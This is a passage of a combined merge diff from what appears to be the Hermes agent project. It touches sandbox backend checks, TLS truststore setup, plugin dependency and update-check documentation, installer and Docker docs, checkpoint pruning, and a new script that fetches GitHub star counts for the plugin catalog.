one of: %s.",- runtime, ", ".join(_SUPPORTED_VERCEL_RUNTIMES))- return False+ return _reject(f"Vercel Sandbox runtime {runtime!r} is not supported. Set TERMINAL_VERCEL_RUNTIME to one of: "+ f"{', '.join(_SUPPORTED_VERCEL_RUNTIMES)}.")if disk not in {0, 51200}:- logger.error("Vercel Sandbox does not support custom TERMINAL_CONTAINER_DISK=%s. "- "Use the default shared setting (51200 MB).", disk)- return False+ return _reject(f"Vercel Sandbox does not support custom TERMINAL_CONTAINER_DISK={disk}. "+ "Use the default shared setting (51200 MB).")if importlib.util.find_spec("vercel") is None:- logger.error("vercel is required for the Vercel Sandbox terminal backend. Run hermes setup terminal and select Vercel Sandbox.")- return False- return _reject("vercel is required for the Vercel Sandbox terminal backend: pip install vercel")++++ return _reject("vercel is required for the Vercel Sandbox terminal backend. Run hermes setup terminal and select Vercel Sandbox.")from agent.secret_scope import get_secretif get_secret("VERCEL_OIDC_TOKEN"):return Truediff --cc tui_gateway/entry.pyindex 36457784ba2,77a2d55594b..d3f66392f61--- a/tui_gateway/entry.py+++ b/tui_gateway/entry.py@@@ -237,17 -258,9 +258,18 @@@ def _write_or_exit(payload: dict, reasodef main():+ _close_rpc_stdin_on_exec()_install_sidecar_publisher()+ # One TLS authority: trust the OS store process-wide before any+ # outbound call resolves a CA bundle (see agent/ssl_verify.py).+ try:+ from agent.ssl_verify import install_truststore++ install_truststore()+ except Exception:+ logger.debug("truststore install skipped", exc_info=True)+# The heartbeat row lets the orphan sweep tell "live but idle" from "truly orphaned",# so it must start BEFORE the sweep.for start, what in (diff --cc ui-tui/src/entry.tsxindex e404f7ed171,79bc67daf58..8b699f22874--- a/ui-tui/src/entry.tsx+++ b/ui-tui/src/entry.tsx@@@ -5,7 -5,8 +5,8 @@@ import './lib/forceTruecolor.jsimport type { FrameEvent } from '@hermes/ink'+ import { setRpcErrorLogSink } from './app/userMessages.js'-import { DASHBOARD_TUI_MODE, TERMUX_TUI_MODE } from './config/env.js'+import { DASHBOARD_TUI_MODE } from './config/env.js'import { GatewayClient } from './gatewayClient.js'import { setupGracefulExit } from './lib/gracefulExit.js'import { formatBytes, type HeapDumpResult, performHeapDump } from './lib/memory.js'diff --cc website/docs/developer-guide/plugins/index.mdindex c00c5d6bee6,88dbbc325f8..189fbad7fe9--- a/website/docs/developer-guide/plugins/index.md+++ b/website/docs/developer-guide/plugins/index.md@@@ -300,7 -300,8 +300,8 @@@ this Hermes understands still loads wit| `manifest_version` | int | Manifest **file-format** version. Absent = `1`. Current max: `2`. Independent from `api_version`. || `api_version` | int | Runtime **plugin API generation** the plugin targets (ctx surface / hook signatures). Deliberately a separate axis from `manifest_version` — an `api_version: 1` plugin can use a v2 manifest. || `requires_plugins` | list | Inter-plugin dependencies: `- id: other-plugin` with optional `version_range: ">=1.0,<2"`. **Advisory**: a missing dependency logs a clear warning but the plugin still loads — probe at runtime with `ctx.has_plugin("other-plugin")`. Load **order** honors these edges: when A requires B, B's `register()` runs before A's (topological sort, alphabetical tiebreak; cycles warn and fall back to alphabetical order). |-| `python_dependencies` | list of str | PEP 508 requirements (e.g. `"requests>=2.0,<3"`). Installed into Hermes' venv on `hermes plugins install` / `enable` and **re-applied after every `hermes update`** (see [Python dependencies](#python-dependencies)). A `pyproject.toml` beside `plugin.yaml` with `[project].dependencies` is the equivalent, preferred form. |+| `python_dependencies` | list of str | Declared Python requirements (e.g. `"requests>=2.0,<3"`). Installation requests consent; enabling admits the candidate through PM with the existing core, extras, and enabled-plugin union. Successful preparation publishes the environment and configuration transactionally; failure preserves the previous selection and enabled set. Declining leaves the installed plugin disabled. Pin upper bounds. |+ | `python_runtime` | str | `external` — the plugin manages its own interpreter/venv (sidecar pattern); Hermes installs nothing and leaves any `pyproject.toml` alone. || `config_schema` | mapping | JSON-schema-ish description of keys under `plugins.entries.<id>.settings`: `api_url: {type: str, default: "", description: "...", required: false}`. Validated at load; mismatches log actionable warnings naming the key and expected type — never load failures. Types: `str`, `int`, `float`, `bool`, `list`, `dict` (plus JSON-schema aliases). || `license` | str | SPDX-style license id (e.g. `MIT`). || `homepage` | str | Project URL. |@@@ -324,17 -325,53 +325,62 @@@ config_schemaapi_url: {type: str, default: "", description: "Service endpoint"}```+:::note Shared dependency admission+Plugin installation requests Python dependency consent. Enabling the plugin+prepares its requirements with core dependencies, extras, and enabled plugins+through PM. Pack enables use the same admission transaction. Reinstalling an+active plugin requests consent against its staged declaration before publication.+A refusal preserves the installed plugin and selected environment.++The installer and PM admission reject unsupported `manifest_version` values+and unmet `requires_hermes` constraints before publication.+:::++ ### Python dependencies++ A directory plugin can bring its own PyPI packages. Declare them either in the manifest+ (`python_dependencies`, above) or, preferably, in a `pyproject.toml` next to `plugin.yaml`:++ ```toml+ [project]+ name = "my-plugin"+ version = "1.0.0"+ requires-python = ">=3.11"+ dependencies = [+ "somepkg>=1.0,<2",+ "other[extra]>=3.11",+ ]+ ```++ When both exist the `pyproject.toml` wins. What Hermes does with them:+-- **Install / enable** — the declared packages are installed into Hermes' venv with- `uv pip install` (pip fallback) under a **constraints file built from Hermes' own pinned- dependencies**, so a plugin can never move a core package (httpx, pydantic, …) off the version- Hermes was tested with. Environment markers (`; sys_platform == "win32"`) are honoured.-- **Conflict = refusal, never a silent drop** — before the plugin tree is moved into place, its- dependencies are dry-run resolved together with every already-enabled plugin's. A candidate that- cannot resolve is *not installed* and the error names the conflict; existing plugins are untouched.-- **`hermes update` re-applies them** — the update's `uv sync` rebuilds the venv from Hermes' lock- and strips anything else. Afterwards Hermes walks every profile's enabled plugins and reinstalls- their declared dependencies. If the union no longer resolves (a core pin moved), non-memory- plugins are dropped one at a time until it does; each dropped plugin is **disabled with a loud- message** naming it, and memory providers are kept over everything else, because a Hermes that- boots without memory looks like data loss.-- **`hermes plugins update`** re-runs the install for whatever the new revision declares.-- **`--no-deps`** on `hermes plugins install` skips all of this for one plugin (no conflict gate,- nothing installed) when you would rather manage its packages yourself.-- **Opt out with `python_runtime: external`** — plugins that keep a heavy runtime (torch, native- extensions) in their own sidecar venv and talk to it over a subprocess declare this in- `plugin.yaml`; Hermes then installs nothing and the plugin never joins the shared resolution.-- **Nothing to load is an error** — `hermes plugins validate` (and the catalog CI) fail a- `plugin.yaml` with no `__init__.py`, `desktop/plugin.js` or `plugin.json` beside it. A pip-layout- package whose code sits under `src/` behind an entry point needs a thin directory-plugin wrapper- whose `pyproject.toml` depends on the package.-- `security.allow_lazy_installs: false` disables all of this; the plugin installs, its dependencies- do not, and the loader warns at import.++- **Install / enable** — PM resolves core, selected extras, and the enabled plugin union++ across every profile sharing the dependency home, including custom `HERMES_HOME` roots.++ A new plugin is downloaded disabled; Python dependency consent precedes enablement.++ `pyproject.toml` takes precedence over `python_dependencies` and legacy `pip_dependencies`.++- **Atomic publication** — PM prepares a fresh environment generation before publishing++ an enablement or an active plugin replacement. Resolution, download, or build failure++ preserves the previous environment and plugin selection; no existing plugin is sacrificed.++- **Updates retain the union** — `hermes update` includes enabled plugins while preparing++ its new generation. There is no post-update pip reinstall. `hermes plugins update` prepares++ active replacements before swapping their code and dependency generation together.++- **Requirement hygiene** — malformed PEP 508 requirements are refused. Environment markers++ remain intact for the target interpreter to evaluate. `hermes-agent` self-dependencies are++ omitted because the checkout supplies Hermes. Direct-URL requirements are not managed;++ use a plugin-owned external runtime for them.++- **`--no-deps`** downloads a new plugin without dependency consent and leaves it disabled,++ even with `--enable`. It cannot bypass PM admission when replacing an active plugin.++- **`python_runtime: external`** keeps a sidecar's dependencies out of the shared union.++ Hermes does not install that Python runtime or modify its declaration.++- **Nothing to load is an error** — `hermes plugins validate` rejects `plugin.yaml` without++ `__init__.py`, `desktop/plugin.js`, or `plugin.json` beside it. Pip-layout packages need++ a directory-plugin wrapper.++- `security.allow_lazy_installs: false` blocks on-demand acquisition. Explicit dependency++ consent and explicit enablement authorize PM preparation; discovery never installs.++ `HERMES_HOME/plugins/` survives `hermes update` and Desktop updates: the updater only rebuilds the+ venv and the checkout, never the home directory.+## Step 3: Write the tool schemasCreate `schemas.py` — this is what the LLM reads to decide when to call your tools:diff --cc website/docs/getting-started/installation.mdindex a09c2c41c18,91e6205623a..8065acbfdcd--- a/website/docs/getting-started/installation.md+++ b/website/docs/getting-started/installation.md@@@ -14,25 -14,13 +14,29 @@@ platform-gated features are supported):::## Quick Install-### With the Hermes Desktop installer on macOS or Windows (recommended)-To easily install the command-line and desktop applications, [download the Hermes Desktop installer](https://hermes-agent.nousresearch.com/) from our website and run it.+### Desktop packages on macOS or Windows++Download the package for your platform from the+[Hermes website](https://hermes-agent.nousresearch.com/).++- **Windows:** open the `.appinstaller` download with Windows App Installer.+ It installs the signed MSIX bundle and records its update source.+ Microsoft Store packages have separate Store ownership.+- **macOS:** open the DMG, then copy `Hermes.app` to Applications. The ZIP+ artifact carries the signed app used by the automatic updater.++Bundled packages contain the agent, Python, supported dependencies, and prebuilt+interfaces. First launch does not build that base runtime. Provider access and+optional integrations can still require network access.++A `Hermes-Setup` bootstrap installer is different: it downloads a source+installation and builds the desktop app. Light is a remote-only build variant,+not a bundled local runtime. See [Hermes Desktop](../user-guide/desktop.md).+ :::note+ The macOS installer is **Apple Silicon only**. macOS on x86 (Intel) processors is [not a supported platform](./platform-support.md#unsupported).+ :::+### Without Hermes Desktop:For a command-line only install without Hermes Desktop, run:diff --cc website/docs/user-guide/checkpoints-and-rollback.mdindex 5ca89631394,a0433750fdd..aa75b57967d--- a/website/docs/user-guide/checkpoints-and-rollback.md+++ b/website/docs/user-guide/checkpoints-and-rollback.md@@@ -235,11 -238,10 +238,11 @@@ Restore just one file from a checkpoin- **Directory scope** — Hermes skips overly broad directories (root `/`, home `$HOME`).- **Repository size** — directories with more than 50,000 files are skipped.- **Per-file size cap** — files larger than `max_file_size_mb` (default 10 MB) are excluded from the snapshot. Prevents accidentally swallowing datasets, model weights, or generated media.-- **Total store size cap** — when the store exceeds `max_total_size_mb` (default 500 MB), each checkpoint drops the oldest commit of every project that still has more than one snapshot (one round per checkpoint), and the periodic prune repeats drop → gc → re-measure until the store fits. A project is never reduced below one snapshot, so a store of many large projects can legitimately sit above the cap.+- **Total store size cap** — when the store exceeds `max_total_size_mb` (default 500 MB), the oldest commit per project is dropped round-robin. Each drop is reclaimed before deciding whether another is necessary. Every project keeps at least one snapshot. A failed Git operation stops pruning and is reported; maintenance never discards more history to compensate for failed reclamation.- - **Real pruning** — `max_snapshots` is enforced by rewriting the per-project ref and running `git gc --prune=now` afterwards, so loose objects don't accumulate.+ - **Real pruning, off the hot path** — `max_snapshots` and the size cap are enforced by rewriting the per-project ref at checkpoint time (cheap); the store is then marked `.gc-pending` and the periodic prune runs `git gc --prune=now` once, so loose objects don't accumulate and a tool call never waits on a full repack.+- **Concurrent operations** — snapshots, restores, diffs and maintenance use one process-shared store lock. An operation reports a busy store rather than running GC over another process's unpublished objects. A restore applies its selected tree before pruning the safety snapshot's history.- **No-change snapshots** — if there are no changes since the last snapshot, the checkpoint is skipped.-- **Non-fatal errors** — all errors inside the Checkpoint Manager are logged at debug level; your tools continue to run.+- **Non-fatal errors** — snapshot failures do not block your tools. Pruning failures are logged as warnings; explicit maintenance reports an error count.## Where Checkpoints Livediff --cc website/docs/user-guide/docker.mdindex bcf79385d12,773e985c01e..1c03d46d0f3--- a/website/docs/user-guide/docker.md+++ b/website/docs/user-guide/docker.md@@@ -548,9 -532,26 +563,26 @@@ The container ENTRYPOINT is now the `enDo not override the image entrypoint unless you keep `/init` (or, equivalently, the legacy `docker/entrypoint.sh` shim that forwards to the stage2 hook) in the command chain. s6-overlay's `/init` runs as root so it can chown the volume on first boot, then drops to the `hermes` user via `s6-setuidgid` for every supervised service AND for the main program. Starting `hermes gateway run` as root inside the official image is refused by default because it can leave root-owned files in `/opt/data` and break later dashboard or gateway starts. Set `HERMES_ALLOW_ROOT_GATEWAY=1` only when you intentionally accept that risk.:::+ :::warning Overriding `entrypoint:` also removes the zombie reaper+ `/init` is what reaps orphaned grandchildren (headless browsers, MCP servers, `git`/`npm` helpers spawned by tools). A Compose service that overrides `entrypoint:` to call `hermes` directly — for example to run the dashboard as a non-root user — makes the hermes process itself PID 1, and nothing above it ever calls `wait()`: every orphan stays a `<defunct>` entry forever (one deployment reached 284 zombies in under three hours). Hermes prints `[hermes] WARNING: this process is PID 1 with no init above it` at startup in that configuration.++ If you must override the entrypoint, add Docker's init as PID 1 so orphans are reaped:++ ```yaml+ services:+ hermes-dashboard:+ image: nousresearch/hermes-agent:latest+ init: true # docker-init becomes PID 1 and reaps orphans+ entrypoint: ["/opt/hermes/.venv/bin/hermes"]+ command: ["dashboard", "--host", "0.0.0.0", "--port", "9119", "--no-open", "--skip-build"]+ ```++ (`docker run --init …` is the equivalent flag.) This fixes the zombie accumulation only — with `/init` out of the chain, the s6 supervision tree is still gone: the dashboard, `hermes gateway run` and per-profile gateways are unsupervised, exactly as the dispatcher's own non-PID-1 warning says. Keep the default `ENTRYPOINT` whenever you can.+ :::+### `docker exec` automatically drops to the `hermes` user-`docker exec hermes <cmd>` defaults to running as root inside the container, but the image ships a thin shim at `/opt/hermes/bin/hermes` (earliest on PATH) that detects root callers and transparently re-execs through `s6-setuidgid hermes`. So `docker exec hermes login`, `docker exec hermes profile create …`, `docker exec hermes setup`, etc. all write files owned by UID 10000 — i.e. readable by the supervised gateway — with no extra `--user` flag needed. Non-root callers (the supervised processes themselves, `docker exec --user hermes`, kanban subagents inside the container) hit a short-circuit that exec's the venv binary directly, so there's no overhead on the hot paths.+`docker exec hermes <cmd>` defaults to running as root inside the container, but the image ships a thin shim at `/opt/hermes/bin/hermes` (earliest on PATH) that detects root callers and transparently re-execs through `s6-setuidgid hermes`. So `docker exec hermes hermes login`, `docker exec hermes hermes profile create …`, `docker exec hermes hermes setup`, etc. all write files owned by UID 10000 — i.e. readable by the supervised gateway — with no extra `--user` flag needed. Non-root callers (the supervised processes themselves, `docker exec --user hermes`, kanban subagents inside the container) hit a short-circuit that exec's the venv binary directly, so there's no overhead on the hot paths.If you specifically need a `docker exec` that retains root semantics (diagnostic sessions, inspecting root-only state, files outside `/opt/data` that root happens to own), opt out per invocation:diff --cc website/docs/user-guide/features/plugins.mdindex 29e369958e7,a807e96b42c..40525f6928d--- a/website/docs/user-guide/features/plugins.md+++ b/website/docs/user-guide/features/plugins.md@@@ -374,52 -375,28 +375,72 @@@ hermes plugins remove my-plugihermes plugins enable my-plugin # add to allow-listhermes plugins disable my-plugin # remove from allow-list + add to disabledhermes plugins capabilities [my-plugin] # declared vs granted capabilities+hermes plugins check-updates # read-only: is any installed plugin outdated?+hermes plugins adopt my-plugin # track a self-cloned plugin dir (read its git origin)+hermes plugins trust-update-url my-plugin # confirm a changed update_url after review```+### Update checks and provenance++Hermes records Git install source and revision in `.install-metadata.json`.+Unpinned tracked installs compare the saved source's remote HEAD, or a matching+saved `update_url` feed. Pinned installs remain pinned. Self-cloned directories+need `hermes plugins adopt NAME` before they become tracked installations.+Manually copied or provenance-drifted directories receive diagnostic guidance.+Pip entry-point plugins can report an owning distribution's available version;+that check does not turn them into Git-managed installs.++`hermes plugins check-updates` leaves plugin files unchanged. A scheduled gateway+check runs when `plugins.auto_update_check_hours` is due: default 24 hours,+`0` disables it. Its receipt is available through `hermes pm status` and the+desktop sync-status view. This is not a hard once-per-day limit if you configure+a different interval.++By default, updates require `hermes plugins update NAME`. Setting+`plugins.auto_apply: true` opts tracked Git plugins into unattended updates.+Both routes use the update security scan. Auto-apply does not manage pinned,+manual, drifted, or pip-distribution rows.++If a manifest changes or introduces `update_url`, Hermes refuses the new address+until you approve it with `hermes plugins trust-update-url NAME`. This is a+feed-source check, not a sandbox against already trusted plugin code.++### Dependency preparation and preservation++Python dependency installation has a separate consent/admission step.+`plugins install --enable` does not bypass that step. A declined or+non-interactive dependency install can leave the plugin installed but disabled.+Node sidecar dependencies have a separate prompt and remain plugin-local.++PM prepares Python dependencies with core and the enabled plugin set before+publishing the new environment and configuration. A resolution failure preserves+the previous selection. Restart Hermes when a new selected environment is not+yet active in the running process.++Ordinary Hermes application updates preserve user plugin directories, including+wrapper files and external sidecar links. Explicit plugin updates or removals+can change those files. See [Package management](../../reference/package-management.md)+and the [plugin authoring guide](../../developer-guide/plugins/index.md#lazy-install-optional-python-dependencies).+ ### Installed and Browse in Desktop++ Open **Capabilities → Plugins**. **Installed** reads the app's desktop-plugin+ registry and the selected profile's actual agent-plugin state, combining both+ halves in one row where appropriate. It is not a list of catalog entries+ assumed to be installed. **Browse** is a native catalog view, not an embedded+ website; it uses the same **Installed / Browse** tabs as Skills, with search+ at the top and the tab switch and actions on one row. Browse defaults to cards,+ with list and card icons at the right of the filters. The layout choice is shared+ with Skills and remembered. Click a card to read its details; Install opens the+ existing review-then-install dialog.++ Desktop and the public [Plugin Catalog](/plugins) consume the same CDN+ snapshot, [`/docs/api/plugins.json`](https://hermes-agent.nousresearch.com/docs/api/plugins.json).+ The public alias serves the same data as Desktop's fetch URL,+ `https://nousresearch.github.io/hermes-agent/docs/api/plugins.json`. The docs+ build generates it from `plugin-catalog/*.yaml` and cached star counts. The+ same publish also supplies the removed-entry list used by the installer.+ Browsing does not query GitHub live or fetch source repos;+ the installer retrieves code only as part of the separate install flow.### One-click install links (Desktop)diff --cc website/scripts/extract-plugins.pyindex c598137e372,1b394be0d60..57db5f273ea--- a/website/scripts/extract-plugins.py+++ b/website/scripts/extract-plugins.py@@@ -32,16 -32,24 +32,25 @@@ import syfrom collections import Counterfrom datetime import datetime, timezonefrom pathlib import Path+ from urllib.parse import urlsplit-import yaml-REPO_ROOT = Path(__file__).resolve().parents[2]+sys.path.insert(0, str(REPO_ROOT))+import hermes_yaml as yaml+DEFAULT_CATALOG_DIR = REPO_ROOT / "plugin-catalog"DEFAULT_OUTPUT_DIR = REPO_ROOT / "website" / "static" / "api"+ # Written by fetch-plugin-stars.py (at most one GitHub probe per day); absent → no ranking data.+ DEFAULT_STARS_FILE = DEFAULT_OUTPUT_DIR / "plugin-stars.json"+ _GITHUB_REPO_RE = re.compile(r"^https://github\.com/([^/\s]+)/([^/\s#?]+?)(?:\.git)?/?$")CATALOG_TIERS = ("official", "community")+ CATALOG_CATEGORIES = ("desktop", "memory", "platform", "web", "tools", "voice", "automation", "models", "general")SHA_RE = re.compile(r"^[0-9a-f]{40}$")+ # Keep in sync with scripts/validate_plugin_catalog.py (cosmetic fields attached to the pin).+ VERSION_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._+-]{0,31}$")+ IMAGE_HOSTS = ("raw.githubusercontent.com", "github.com")+ IMAGE_HOST_SUFFIX = ".githubusercontent.com"def _log(msg: str) -> None:diff --cc website/scripts/fetch-plugin-stars.pyindex 00000000000,e10e6655434..85e3fe61c76mode 000000,100644..100644--- a/website/scripts/fetch-plugin-stars.py+++ b/website/scripts/fetch-plugin-stars.py@@@ -1,0 -1,171 +1,171 @@@+ #!/usr/bin/env python3+ """Refresh GitHub star counts for plugin-catalog repos, at most once a day.++ Writes ``website/static/api/plugin-stars.json``::++ {"fetched_at": "<ISO-8601 UTC>", "stars": {"owner/repo": 123, ...}}++ ``extract-plugins.py`` merges these into ``plugins.json`` so the catalog page can rank+ entries by stars.++ Rate-limit discipline follows the skills-index rule: GitHub is only ever consulted from the+ scheduled ``skills-index.yml`` run (twice daily, ``--probe``), which uploads the result as an+ artifact. Docs deploys run with ``--reuse-only`` and NEVER touch the API: they take the+ scheduled artifact when given one, else the live site's copy (one CDN GET), else whatever is+ on disk, else an empty map (the page then ranks alphabetically).++ The probe itself is ONE GraphQL request for every catalog repo (aliased ``repository``+ fields), not one REST call per repo. Any failure (rate limit, network, bad token) keeps the+ previous counts instead of regressing them to zero.+ """++ from __future__ import annotations++ import argparse+ import json+ import os+ import re+ import sys+ import urllib.error+ import urllib.request+ from datetime import datetime, timezone+ from pathlib import Path+-import yaml++import hermes_yaml as yaml++ REPO_ROOT = Path(__file__).resolve().parents[2]+ DEFAULT_CATALOG_DIR = REPO_ROOT / "plugin-catalog"+ DEFAULT_OUTPUT = REPO_ROOT / "website" / "static" / "api" / "plugin-stars.json"+ LIVE_URL = "https://hermes-agent.nousresearch.com/docs/api/plugin-stars.json"+ _GITHUB_REPO_RE = re.compile(r"^https://github\.com/([^/\s]+)/([^/\s#?]+?)(?:\.git)?/?$")+++ def _log(msg: str) -> None:+ print(f"[fetch-plugin-stars] {msg}", file=sys.stderr)+++ def github_slug(repo_url: str) -> str | None:+ """``owner/repo`` for a github.com URL, else None (non-GitHub hosts are never probed)."""+ m = _GITHUB_REPO_RE.match(repo_url.strip())+ return f"{m.group(1)}/{m.group(2)}" if m else None+++ def catalog_slugs(catalog_dir: Path) -> list[str]:+ slugs: set[str] = set()+ for path in sorted(catalog_dir.glob("*.yaml")):+ if path.name == "removed.yaml":+ continue+ try:+ raw = yaml.safe_load(path.read_text(encoding="utf-8"))+ except (yaml.YAMLError, OSError):+ continue+ slug = github_slug(str((raw or {}).get("repo") or "")) if isinstance(raw, dict) else None+ if slug:+ slugs.add(slug)+ return sorted(slugs)+++ def _http_json(url: str, headers: dict[str, str], timeout: float = 15.0):+ req = urllib.request.Request(url, headers={"User-Agent": "hermes-agent-docs", **headers})+ with urllib.request.urlopen(req, timeout=timeout) as resp:+ return json.loads(resp.read().decode("utf-8"))+++ def load_previous(output: Path, live_url: str | None) -> dict:+ """Newest of {live site copy, on-disk copy}; ``{}`` when neither exists."""+ candidates: list[dict] = []+ if live_url:+ try:+ data = _http_json(live_url, {})+ if isinstance(data, dict) and isinstance(data.get("stars"), dict):+ candidates.append(data)+ except (urllib.error.URLError, OSError, ValueError) as e:+ _log(f"live cache unavailable ({e}); continuing without it")+ if output.is_file():+ try:+ data = json.loads(output.read_text(encoding="utf-8"))+ if isinstance(data, dict) and isinstance(data.get("stars"), dict):+ candidates.append(data)+ except (OSError, ValueError):+ pass+ return max(candidates, key=lambda d: str(d.get("fetched_at") or ""), default={})+++ _GRAPHQL_URL = "https://api.github.com/graphql"+++ def _graphql(query: str, token: str) -> dict:+ req = urllib.request.Request(+ _GRAPHQL_URL, data=json.dumps({"query": query}).encode("utf-8"), method="POST",+ headers={"User-Agent": "hermes-agent-docs", "Authorization": f"Bearer {token}",+ "Content-Type": "application/json"})+ with urllib.request.urlopen(req, timeout=30.0) as resp:+ return json.loads(resp.read().decode("utf-8"))+++ def stars_query(slugs: list[str]) -> str:+ fields = "\n".join(+ f'r{i}: repository(owner: {json.dumps(slug.split("/", 1)[0])}, name: {json.dumps(slug.split("/", 1)[1])})'+ " { stargazerCount }"+ for i, slug in enumerate(slugs))+ return "query {\n" + fields + "\n}"+++ def probe_stars(slugs: list[str], previous: dict[str, int], token: str | None) -> dict[str, int]:+ """One GraphQL request for all repos; on failure keep every previous count (never regress to 0)."""+ if not slugs:+ return {}+ if not token:+ _log("no GITHUB_TOKEN; keeping previous counts without probing")+ return {s: previous[s] for s in slugs if s in previous}+ try:+ payload = _graphql(stars_query(slugs), token)+ except (urllib.error.URLError, OSError, ValueError) as e:+ _log(f"GraphQL probe failed ({e}); keeping previous counts")+ return {s: previous[s] for s in slugs if s in previous}+ data = payload.get("data") or {}+ for err in payload.get("errors") or []:+ _log(f"GraphQL: {err.get('message')}") # e.g. a renamed/deleted repo; its previous count is kept+ stars: dict[str, int] = {}+ for i, slug in enumerate(slugs):+ node = data.get(f"r{i}")+ if isinstance(node, dict) and isinstance(node.get("stargazerCount"), int):+ stars[slug] = node["stargazerCount"]+ elif slug in previous:+ stars[slug] = previous[slug]+ return stars+++ def main(catalog_dir: Path = DEFAULT_CATALOG_DIR, output: Path = DEFAULT_OUTPUT,+ probe: bool = False, live_url: str | None = LIVE_URL, token: str | None = None) -> int:+ previous = load_previous(output, live_url)+ output.parent.mkdir(parents=True, exist_ok=True)++ if not probe:+ output.write_text(json.dumps(previous or {"fetched_at": None, "stars": {}},+ separators=(",", ":")), encoding="utf-8")+ print(f"Reused plugin stars from {previous.get('fetched_at')} "+ f"({len(previous.get('stars', {}))} repos, no GitHub calls)")+ return 0++ slugs = catalog_slugs(catalog_dir)+ prev_stars = {k: int(v) for k, v in (previous.get("stars") or {}).items() if isinstance(v, (int, float))}+ stars = probe_stars(slugs, prev_stars, token or os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN"))+ probed = stars != prev_stars or not previous+ fetched_at = datetime.now(timezone.utc).isoformat() if probed or stars else str(previous.get("fetched_at") or "")+ output.write_text(json.dumps({"fetched_at": fetched_at, "stars": stars}, separators=(",", ":")),+ encoding="utf-8")+ print(f"Probed {len(slugs)} repos in one GraphQL request, wrote {len(stars)} star counts to {output}")+ return 0+++ if __name__ == "__main__":+ parser = argparse.ArgumentParser(description=__doc__)+ parser.add_argument("--catalog-dir", type=Path, default=DEFAULT_CATALOG_DIR)+ parser.add_argument("--output", type=Path, default=DEFAULT_OUTPUT)+ parser.add_argument("--probe", action="store_true",+ help="call GitHub (one GraphQL request); only the scheduled skills-index run does this")+ parser.add_argument("--no-live", action="store_true", help="do not consult the live site's cache")+ args = parser.parse_args()+ sys.exit(main(catalog_dir=args.catalog_dir, output=args.output, probe=args.probe,+ live_url=None if args.no_live else LIVE_URL))diff --cc website/scripts/prebuild.mjsindex 445f8a3b708,98ca1d29c09..baa0538a357--- a/website/scripts/prebuild.mjs+++ b/website/scripts/prebuild.mjs@@@ -33,8 -32,8 +33,9 @@@ const repoRoot = resolve(websiteDir, ".const extractScript = join(scriptDir, "extract-skills.py");const llmsScript = join(scriptDir, "generate-llms-txt.py");const cronBlueprintsScript = join(scriptDir, "extract-automation-blueprints.py");+const iconGenScript = join(repoRoot, "scripts", "generate-icons.mjs");const pluginsScript = join(scriptDir, "extract-plugins.py");+ const pluginStarsScript = join(scriptDir, "fetch-plugin-stars.py");const outputFile = join(websiteDir, "static", "api", "skills.json");const pluginsOutputFile = join(websiteDir, "static", "api", "plugins.json");const pluginsMetaOutputFile = join(websiteDir, "static", "api", "plugins-meta.json");